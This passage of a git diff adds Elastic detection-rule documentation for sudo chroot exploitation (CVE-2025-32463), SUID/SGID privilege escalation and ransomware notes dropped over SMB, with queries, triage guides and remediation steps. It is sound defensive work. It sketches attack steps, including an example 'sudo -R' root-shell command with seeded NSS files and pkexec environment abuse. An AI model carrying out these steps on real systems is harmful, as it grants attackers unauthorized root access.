file.path like "/*/etc/nsswitch.conf" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not +( + process.name in ("bash", "dash") and file.path like ( + "/var/tmp/mkinitramfs_*", "/tmp/tmp.*/mkinitramfs_*", "/tmp/petalinux*/etc/nsswitch.conf", + "/tmp/selfextract.*/mkinitramfs_*/etc/nsswitch.conf", "/var/tmp/dracut.*/initramfs/etc/nsswitch.conf", + "/tmp/user/0/mkinitramfs_*/etc/nsswitch.conf", "/opt/mkinitramfs_*/etc/nsswitch.conf", + "/opt/dumpling-nxp/*/etc/nsswitch.conf", "/tmp/store/vfs/dir/*", "/opt/tmp/mkinitramfs_*", + "/opt/nvidia_tmpfs/mkinitramfs*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc new file mode 100644 index 0000000000..af332a7159 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cve-2025-32463-sudo-chroot-execution-attempt.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-28-potential-cve-2025-32463-sudo-chroot-execution-attempt]] +=== Potential CVE-2025-32463 Sudo Chroot Execution Attempt + +Detects suspicious use of sudo's --chroot / -R option consistent with attempts to exploit CVE-2025-32463 (the "sudo chroot" privilege escalation), where an attacker tricks sudo into using attacker-controlled NSS files or libraries to gain root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot +* https://github.com/kh4sh3i/CVE-2025-32463 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Use Case: Vulnerability +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential CVE-2025-32463 Sudo Chroot Execution Attempt* + + +This rule highlights sudo invoked with the chroot (-R/--chroot) option outside normal administration, a behavior tied to CVE-2025-32463 where attackers force sudo to load attacker-controlled NSS configs or libraries and escalate to root. An attacker pattern: running sudo -R /tmp/fakechroot /bin/sh after seeding that directory with malicious nsswitch.conf and libnss to obtain a root shell. Treat unexpected chrooted sudo on Linux hosts as high-risk privilege escalation activity. + + +*Possible investigation steps* + + +- Extract the chroot target path from the event and enumerate its etc and lib directories for attacker-seeded NSS artifacts (nsswitch.conf, libnss_*, ld.so.preload) and fake passwd/group files, noting recent mtime, ownership, and world-writable files. +- Pivot to file-creation and modification telemetry to identify processes and users that populated that path shortly before execution (e.g., curl, wget, tar, git, gcc), linking them to the invoking user to establish intent. +- Review session and process details to see if a shell or interpreter was launched inside the chroot and whether an euid transition to 0 occurred, indicating a successful privilege escalation. +- Confirm sudo's package version and build options and the user’s sudoers policy (secure_path/env_* settings and any NOPASSWD allowances) to assess exploitability and whether chroot usage was authorized. +- Collect and preserve the chroot directory contents and relevant audit/log artifacts, and scope by searching for similar chroot invocations or NSS file seeds across the host and fleet. + + +*False positive analysis* + + +- A legitimate offline maintenance session where an administrator chroots into a mounted system under /mnt or /srv using sudo --chroot to run package or initramfs commands, which will trigger when the invoked program is not in the whitelist. +- An image-building or OS bootstrap workflow that stages a root filesystem and uses sudo -R to execute a shell or build/configuration scripts inside the chroot, producing the same pattern from a known user or host context. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network, revoke the invoking user’s sudo privileges, and terminate any chrooted shells or child processes spawned via “sudo -R /bin/sh” or similar executions. +- Preserve evidence and then remove attacker-seeded NSS and loader artifacts within the chroot path—delete or replace nsswitch.conf, libnss_*.so, ld.so.preload, passwd, and group files, and clean up world-writable staging directories like /tmp/fakechroot. +- Upgrade sudo to a fixed build that addresses CVE-2025-32463, and recover by restoring any modified system NSS and loader files from known-good backups while validating ownership, permissions, and hashes. +- Escalate to full incident response if a root shell or process with euid 0 is observed, if /etc/ld.so.preload or /lib/libnss_*.so outside the chroot show unauthorized changes, or if similar “sudo -R” executions appear across multiple hosts. +- Harden by updating sudoers to remove NOPASSWD for chrooted commands, enforce Defaults env_reset and secure_path with noexec, disable “--chroot” usage for non-admin workflows, and monitor for creation of libnss_*.so or nsswitch.conf in non-standard directories. +- Add platform controls by enabling SELinux/AppArmor policies on sudo and the dynamic loader, applying nodev,nosuid,noexec mounts to /tmp and build paths, and setting immutability (chattr +i) on /etc/nsswitch.conf where operationally feasible. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started", "ProcessRollup2") and +process.name == "sudo" and process.args like ("-R", "--chroot*") and +// To enforce the -R and --chroot arguments to be for sudo specifically, while wildcarding potential full sudo paths +process.command_line like ("*sudo -R*", "*sudo --chroot*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc new file mode 100644 index 0000000000..a9337ebeb8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid-proxy-execution]] +=== Potential Privilege Escalation via SUID/SGID Proxy Execution + +Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dfir.ch/posts/today_i_learned_binfmt_misc/ +* https://gtfobins.github.io/#+suid +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via SUID/SGID Proxy Execution* + + +This rule surfaces executions of well-known SUID/SGID helpers on Linux that run with root privileges while the launching user remains non‑root, signaling an attempt to proxy elevated rights. It matters because a non‑privileged process invoking pkexec can spawn /bin/sh as root via environment manipulation, turning a low-privilege foothold into full system control. + + +*Possible investigation steps* + + +- Determine if the invocation is interactive and expected (e.g., admin using su/sudo) by correlating with a TTY/SSH session, recent successful authentication logs, and sudo/polkit policy outcomes in journald. +- For pkexec events, inspect the environment for exploit indicators (e.g., unset argv or suspicious GCONV_PATH, PATH, LD_PRELOAD, LC_* values) and look for attacker-created files in /tmp or the user's home that match gconv or loader artifacts. +- Review the child/descendant process tree of the SUID/SGID helper to see if it spawned a root shell or arbitrary interpreter, and pivot to concurrent network connections or file writes by those children. +- Validate whether the executable’s SUID/SGID file on disk has been tampered with by checking its hash, permissions, ownership, and recent mtime against package manager metadata and known-good baselines. +- If the binary is mount/umount/fusermount or newuidmap/newgidmap, correlate with container or FUSE activity to confirm a legitimate workflow and inspect mounts or namespace changes for risky options (e.g., suid, exec) or unusual target directories. + + +*False positive analysis* + + +- An authorized pkexec or polkit-agent-helper invocation by a user to perform a permitted administrative task may run as root while the real user is non‑root, often with a single‑argument parent, and should align with an interactive prompt and expected policy. +- Normal unprivileged workflows using fusermount3 or newuidmap/newgidmap legitimately leverage SUID/SGID helpers, typically launched by a simple shell with one argument, and should correlate with expected mount or user‑namespace activity. + + +*Response and remediation* + + +- Immediately isolate the host, kill the offending SUID/SGID child processes (e.g., pkexec spawning /bin/sh), and temporarily remove the setuid/setgid bit from the abused binary (chmod u-s /usr/bin/pkexec or chmod g-s /usr/bin/newgrp) to halt further elevation. +- Reinstall and verify integrity of abused packages and SUID helpers (e.g., polkit to replace /usr/bin/pkexec, dbus-daemon-launch-helper, fusermount3) and delete attacker artifacts such as gconv modules or LD_PRELOAD payloads from /tmp, /var/tmp, and user homes. +- Undo attacker changes by restoring /etc/sudoers, /etc/passwd and /etc/shadow, and polkit rules under /usr/share/polkit-1 or /etc/polkit-1, unmount suspicious FUSE or bind mounts created by fusermount3/mount, and rotate credentials and keys. +- Escalate to incident command if you observe a SUID helper launching an interactive root shell (/bin/sh -p or bash -p), root-owned droppers in /tmp or /usr/local/bin, or similar events on more than one host or account. +- Permanently reduce the SUID/SGID attack surface by auditing and removing setuid bits from rarely used binaries (e.g., chfn, chsh, newgrp, ssh-keysign), restricting pkexec via polkit rules to specific callers, and mounting /tmp, /var/tmp, and home directories with nosuid,nodev,noexec. +- Strengthen monitoring and policy by enabling AppArmor/SELinux confinement for pkexec and mount helpers, adding auditd rules for exec of setuid binaries and writes to /tmp by root, and enforcing least-privilege sudoers by removing broad NOPASSWD entries and requiring MFA for privileged tasks. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0") +) and process.args in ( + "/bin/su", "/usr/bin/su", + "/usr/bin/sudo", + "/bin/mount", "/usr/bin/mount", + "/bin/umount", "/usr/bin/umount", + "/usr/bin/fusermount3", + "/bin/passwd", "/usr/bin/passwd", + "/bin/chfn", "/usr/bin/chfn", + "/bin/chsh", "/usr/bin/chsh", + "/bin/gpasswd", "/usr/bin/gpasswd", + "/bin/newgrp", "/usr/bin/newgrp", + "/sbin/unix_chkpwd", "/usr/sbin/unix_chkpwd", + "/usr/bin/newuidmap", "/usr/bin/newgidmap", + "/usr/lib/dbus-1.0/dbus-daemon-launch-helper", "/usr/libexec/dbus-daemon-launch-helper", + "/usr/lib/openssh/ssh-keysign", "/usr/libexec/openssh/ssh-keysign", + "/usr/bin/pkexec", "/usr/libexec/pkexec", "/usr/lib/polkit-1/pkexec", + "/usr/lib/polkit-1/polkit-agent-helper-1", "/usr/libexec/polkit-agent-helper-1", + "/usr/lib/snapd/snap-confine" +) and process.parent.args_count == 1 and +not process.parent.executable like ( + "/usr/libexec/oracle-cloud-agent/plugins/unifiedmonitoring/unifiedmonitoring", "/usr/libexec/oracle-cloud-agent/agent", + "/usr/lib/x86_64-linux-gnu/libexec/polkit-kde-authentication-agent-1", "/usr/libexec/xfce-polkit", "/usr/bin/dolphin", + "/usr/libexec/kf6/polkit-kde-authentication-agent-1", "/usr/bin/gnome-shell", + "/snap/oracle-cloud-agent/*/plugins/unifiedmonitoring/unifiedmonitoring", "/data/oem_agent/agent_*/sbin/nmo", + "/usr/bin/plasma-discover", "/usr/bin/cosmic-osd", "/usr/bin/update-notifier" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid.asciidoc new file mode 100644 index 0000000000..755b85a61e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-28-potential-privilege-escalation-via-suid-sgid]] +=== Potential Privilege Escalation via SUID/SGID + +Detects potential privilege escalation under the root effective user when the real user and parent user are not root, indicative of the execution of binaries with SUID or SGID bits set. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1548/ + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Privilege Escalation via SUID/SGID* + + +Adversaries exploit misconfigured SUID/SGID binaries to gain elevated access or persistence. This rule identifies processes running with root privileges but initiated by non-root users, flagging potential misuse of SUID/SGID permissions. + + +*Possible investigation steps* + + +- Inspect `process.parent.command_line` and working directory for obfuscation or one-liners. +- Check authentication and sudoers policy for the user. +- Pivot on the host for additional privilege escalation or persistence in the same session. + + +*Response and remediation* + + +- If unauthorized, contain the session, revoke elevated access, and review sudoers and polkit policy for tampering. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0" and process.parent.user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0" and process.parent.group.id != "0") +) and +( + startsWith(process.executable, process.command_line) or + startsWith(process.name, process.command_line) +) and +( + process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*", "node", "deno", "bun", "java") or + process.parent.executable like ("./*", "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/user/*", "/var/run/user/*", "/home/*/*") or + ( + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh") and + process.parent.args in ("-c", "-cl", "-lc", "--command", "-ic", "-ci", "-bash", "-sh", "-zsh", "-dash", "-fish", "-ksh", "-mksh") and + process.parent.args_count <= 4 + ) +) and +not ( + (process.executable == "/usr/lib/landscape/apt-update" and process.args == "/usr/lib/landscape/apt-update") or + (process.executable == "/usr/bin/mount" and process.args in ("/usr/bin/mount", "mount")) or + (process.executable like "/u0?/app/agent/agent_*/sbin/nmo" and process.args like "/u0?/app/agent/agent_*/sbin/nmo") or + (process.executable == "/usr/bin/screen" and process.args == "screen") or + (process.executable == "/usr/sbin/playpen" and process.args == "/usr/sbin/playpen") or + process.executable == "/usr/bin/sudo" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-ransomware-note-file-dropped-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-ransomware-note-file-dropped-via-smb.asciidoc new file mode 100644 index 0000000000..50d127f3a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-ransomware-note-file-dropped-via-smb.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-28-potential-ransomware-note-file-dropped-via-smb]] +=== Potential Ransomware Note File Dropped via SMB + +Identifies the creation of a file with a name similar to ransomware note files by the Windows System process (PID 4). This may indicate a remote ransomware attack via the SMB protocol. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-5m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Ransomware Note File Dropped via SMB* + + + +*Possible investigation steps* + + +- What do the sequence member events show about the accepted SMB session and note-file burst? + - Why: this sequence can omit stage-specific values from the combined alert; disposition depends on recovered source events. + - Focus: Timeline member events: network-stage `source.ip`, then file-stage `user.id`, `file.path`, `file.name`, and `file.extension`. + - Implication: escalate when one remote source is followed within one second by repeated note-like creations under user-profile paths; lower concern only when recovered source, identity, names, and paths form one bounded, neutral file-copy pattern for validation. + - Hint: `process.pid` value "4" is target-side kernel SMB I/O, not the remote executable; use `user.name` only as a readable label for the file-stage identity. + +- Do recovered `source.ip` and writing identity match a stable SMB pattern for this host? + - Why: the target-side kernel process does not identify the remote operator; source and SMB identity carry attribution value. + - Focus: surrounding and historical SMB "connection_accepted" events for `host.id` and recovered `source.ip`, plus file-stage `user.id` and `user.name`. !{investigate{"description":"","label":"SMB connection events on the host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"event.action","queryType":"phrase","value":"connection_accepted","valueType":"string"},{"excluded":false,"field":"destination.port","queryType":"phrase","value":"445","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the source is new for this host, appears only in a short burst, or pairs with an unusual SMB identity; lower concern when the same source and identity recur as one bounded backup, migration, or maintenance pattern. Missing SMB history is unresolved, not benign. + +- Do created files indicate broad ransom-note staging rather than routine instructions? + - Focus: recovered `file.path`, `file.name`, `file.extension`, `file.size`, and `file.Ext.header_bytes`; repeated names across multiple "C:\Users\" profile paths. + - Implication: escalate when identical or near-identical note files land in multiple profiles, use ".hta" or HTML variants, or are small text/HTML artifacts meant for user visibility; lower concern when files stay in one bounded application or migration folder and match stable instruction-file naming for the same source. + +- Does same-window SMB file activity show broader destructive or staging behavior? + - Why: note drops often accompany remote rename, delete, or other drop activity that this rule does not capture directly. + - Focus: file events in the same SMB window: `event.action`, `file.path`, `file.extension`, `file.Ext.original.path`, and `file.Ext.original.extension`. !{investigate{"description":"","label":"File events for SMB server writes on this host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same window shows mass rename, delete, extension-change, or extra drop behavior in user or shared paths; lower concern when activity stays limited to the small note set with no follow-on churn. + +- If local SMB evidence remains suspicious or unresolved, does impact context stay local or show source fan-out? + - Why: ransomware may place notes apart from encryption or recovery inhibition, and SMB ransomware can fan out with valid accounts or admin shares. + - Focus: same-host impact alerts over 48 hours, then other SMB events keyed by recovered `source.ip` with matching note-like `file.name`, `file.path`, or impact `event.action`. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the host shows rename, shadow-copy, backup-tamper, or destructive alerts, or when one source fans out to multiple hosts with matching note-drop or impact signals; keep the case local only when the source is confined to one bounded file-copy pattern. Missing cross-host SMB telemetry is unresolved, not benign. + - Hint: start with `source.ip` plus `destination.port` 445, then join returned hosts to note-like file creations by time. + +- What disposition do the recovered SMB source, identity, note pattern, file churn, and scope support? + - Escalate for remote note staging plus unexpected SMB identity, destructive file activity, recovery inhibition, or multi-host spread; close only for one stable bounded file-copy pattern with neutral names and no contradictory impact evidence; if purpose still depends on records, preserve artifacts until telemetry resolves it. + + +*False positive analysis* + + +- Bulk backup, migration, or endpoint-management jobs can place repeated text or HTML instruction files over SMB. Confirm the same recovered `source.ip`, `user.id`, `user.name`, neutral `file.name` family, and bounded `file.path` recurs for this `host.id` without rename, delete, shadow-copy, backup-tamper, or cross-host note-drop spread. Change records can corroborate, not replace, telemetry alignment. +- Case-driven incident response, legal-hold, or notification activity can write readme-style files remotely. Confirm recovered `source.ip`, `user.id`, `user.name`, `file.path`, and `file.extension` stay bounded to intended case or communication folders, use neutral notice/readme naming rather than decrypt, recover, lock, or payment language, and do not coincide with broader rename or delete activity from `process.pid` value "4". If case records are unavailable, require recurrence of the same source, identity, and path family without spread. +- Before creating an exception, validate recurrence across prior alerts from this rule. Build the exception from the minimum pattern: recovered `source.ip`, `user.id` or `user.name`, representative `file.name`, bounded `file.path` family, and affected host cohort. Avoid exceptions on `file.name`, `host.id`, or `process.pid` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the confirmed `source.ip`, `user.id` or `user.name`, representative `file.name`, and bounded `file.path` pattern. Create an exception only after that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert, Timeline member-event export, copies or hashes of representative note files, recovered source and user identifiers, surrounding file-action evidence, and same-host alert identifiers before containment. Apply reversible containment first, such as temporarily blocking SMB from the recovered source to the target or restricting the recovered user for SMB access. Use host isolation only if note drops continue, spread to additional hosts, or the target role can tolerate interruption. +- If confirmed malicious, isolate the recovered source host when it is managed and the source, SMB identity, note-file pattern, and impact evidence confirm active ransomware behavior. If direct endpoint response is unavailable on the source, hand off the preserved artifacts to the team that can block the SMB path or contain the source system. Before deleting files, terminating processes, or restoring data, export the member events, related impact alerts, note files, and affected host list. +- After confirmed malicious scoping identifies affected hosts and accounts, rotate or reset the SMB credentials that were used or exposed, review other hosts touched by the same recovered `source.ip`, then remove dropped notes and restore affected data from known-good backups. +- Post-incident hardening: restrict unnecessary SMB administrative access, protect backup and shadow-copy workflows, retain endpoint network and file telemetry needed to reconstruct remote file activity, and record the confirmed benign workflow or malicious source-and-path pattern for future cases. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, file.name with maxspan=1m + [file where host.os.type == "windows" and event.action == "creation" and + process.pid == 4 and user.id : ("S-1-5-21*", "S-1-12-*") and file.extension : ("hta", "txt", "readme", "htm*") and + /* ransom file name keywords */ + file.name : ("*read*me*", "*lock*", "*@*", "*RECOVER*", "*decrypt*", "*restore*file*", "*FILES_BACK*", "*how*to*") and + (file.path : ("C:\\Users\\*", "C:\\aaAntiRansom*") or (file.path : "C:\\*" and not file.path : "C:\\*\\*"))] with runs=3 + 